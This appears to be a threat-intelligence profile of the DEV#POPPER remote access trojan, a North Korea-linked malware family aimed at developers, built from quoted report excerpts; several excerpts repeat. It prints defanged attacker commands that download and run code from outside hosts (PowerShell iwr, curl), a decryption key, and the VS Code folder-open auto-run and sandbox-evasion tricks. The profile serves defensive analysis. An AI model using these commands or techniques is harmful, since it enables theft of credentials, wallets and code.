Loading malware…
DEV#POPPER is a cross-platform Node.js remote access trojan targeting software developers on Windows, macOS, and Linux. It has been deployed in North Korea-linked operations associated with Contagious Interview and Famous Chollima, also known as Void Dokkaebi, including the PolinRider software supply-chain campaign. Delivery involves compromised open-source repositories and packages, malicious development-tool configurations, and repositories presented as coding tests during fraudulent job interviews.
The trojan establishes remote-control channels using Socket.IO over WebSocket, with HTTP supporting check-ins and data uploads. Its capabilities include executing JavaScript and shell commands, retrieving additional code, managing and uploading files, exfiltrating directories, collecting host information and process listings, and reading clipboard contents. Observed activity also includes credential, browser-data, and cryptocurrency-wallet information theft. Some variants support multiple simultaneous operators through independent command queues. DEV#POPPER has been delivered alongside OmniStealer, a separate information-stealing payload.
Persistence mechanisms modify developer applications, including Visual Studio Code, Cursor, Antigravity, GitHub Desktop, and the global npm command-line interface, as well as Discord desktop components. Variants also abuse Node.js module search-order hijacking. Heavily obfuscated JavaScript and checks that avoid selected CI/CD runners and sandbox environments hinder automated analysis and concentrate execution on developer workstations.
Associated multistage loaders retrieve encrypted payloads through TRON, Aptos, and BNB Smart Chain infrastructure, decrypt them, and execute them in-process or through detached Node.js processes. Blockchain-backed staging lets operators change payloads without republishing compromised packages. In compromised Joyfill npm beta releases, the implant executed when a package was imported rather than through installation lifecycle hooks, exposing development, testing, and build workflows that loaded the affected libraries.
1 distinct threat actor Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
The malware, including a variant of the DEV#POPPER remote access trojan, retrieves encrypted payloads from blockchain transactions, decrypts them, and executes them on infected systems.
32 distinct techniques documented for this family, organized by ATT&CK tactic.
Earlier this week, I read a Socket blog about two compromised Joyfill beta releases. Joyfill is a legitimate digital form and PDF automation platform, and the poisoned versions contain malware that deploys a remote-access trojan (RAT).
DPRK’s goal is to compromise developer machines and accounts to silently propagate malicious code, clone repositories, and push backdoored commits without active human intervention.
MITRE ATT&CK # T1195.002 Compromise Software Supply Chain
The attackers downloaded and executed the script through PowerShell ... cmd.exe /c “powershell iwr -outf g.py hxxp://de.ztec[.]store:8000/www/run.py”
First, browser cookies were targeted. The attackers opened up a command prompt session through the Python backdoor script and changed directory to the default installation directory of Google Chrome: cmd.exe /c ...
The final recovered code can collect host information, establish a Socket.IO remote-control channel, execute supplied JavaScript or shell commands
The extracted contents ... contains a single file named .npl ... rather a Python script ... The purpose of the .npl Python script is to simply save and execute another embedded Python script called “pay”.
the payload dropped into each module is DPRK's obfuscated JavaScript loader. It resolves a second-stage payload from blockchain RPC infrastructure ... decrypts it with an embedded XOR key, and executes it with eval()
Persistence comes from injecting into VS Code, Cursor, Discord Desktop, GitHub Desktop, and the global npm CLI.
Execution is triggered quietly through Visual Studio Code task files, which can run automatically when a folder is opened... .vscode/tasks.json Task file abused with “runOn”: “folderOpen” to trigger loader execution.
Persistence comes from injecting into VS Code, Cursor, Discord Desktop, GitHub Desktop, and the global npm CLI.
Execution is triggered quietly through Visual Studio Code task files, which can run automatically when a folder is opened... .vscode/tasks.json Task file abused with “runOn”: “folderOpen” to trigger loader execution.
The final "clientCode" payload is heavily obfuscated...
The hidden portion of the JavaScript code is heavily obfuscated and makes use of several obfuscation techniques ... Base64 Encoding ... Dynamic function and variable names ... Concatenation and split strings ... Prototyping obfuscation.
Two npm beta releases in the @joyfill namespace contain an import-time JavaScript implant that resolves encrypted code through Tron, Aptos, and BNB Smart Chain transactions.
More recent versions disguise the malicious script as a fake dot woff2 font file, a format most developers would never think to inspect.
MITRE ATT&CK Matrix ... Defense Evasion T1070.004: Indicator Removal: File Deletion
It uses these connections to fetch an encrypted second stage payload, decrypt it with an embedded XOR key, and run it using the eval function.
avoiding execution on development, CI, or sandboxed machines with the hostnames github-runner, buildbot, buildkitsandbox, and microsoft-standard-WSL2
The resulting code is over 500 lines long and is designed to ... monitor user activity through keylogging and clipboard tracking.
Next, the attackers downloaded a cloned version of a known browser cookie extraction script called browser_cookie3 ... supports multiple browsers while automating the process of cookie theft.
This new script acts as an advanced piece of Python-based malware which is designed for stealing sensitive information from various web browsers ... The “Mac” class in this case is designed to steal browser passwords from Chrome, Opera, and Brave.
This information includes ... Hostname Platform (OS name) ... username, unique ID.
The resulting code is over 500 lines long and is designed to gather detailed system and network information ... Collects detailed system information (OS type/version, system hostname, release version, OS version, username, unique ID).
Upload files to the configured upload host
avoiding execution on development, CI, or sandboxed machines with the hostnames github-runner, buildbot, buildkitsandbox, and microsoft-standard-WSL2
The resulting code is over 500 lines long and is designed to ... monitor user activity through keylogging and clipboard tracking.
The resulting code is over 500 lines long and is designed to ... monitor user activity through keylogging and clipboard tracking.
MITRE ATT&CK Matrix ... Collection T1560: Archive Collected Data
If this step fails, it queries an Aptos account as a fallback to fetch the BSC transaction and, from it, decrypt and extract the JavaScript code and execute it.
A socket.io channel gives the actor interactive command execution, file upload and download, and clipboard access.
It sends a Windows Chrome user agent and the header Sec-V: A9-0135-3 in a request to /$/boot . It XOR-decrypts the response using ThZG+0jfXE6VAGOJ and calls eval() on the result.
Another function (“rt”) manages the downloading of next-stage payloads ... using a carefully crafted curl command to download the file ... curl -Lo ... hxxp://67.203.123[.]171:1244/pdown
Data Handling and transmission: Encodes and decodes data over established TCP connections making the malware difficult to detect by network-based security appliances.
The “ssh_any” and “down_any” functions handle downloading and executing the Anydesk binary client executable ... RMM software is becoming increasingly popular with threat actors ... to maintain persistence on the target host.
MITRE ATT&CK Matrix ... Exfiltration T1041: Exfiltration Over C2 Channel
60 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
10 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.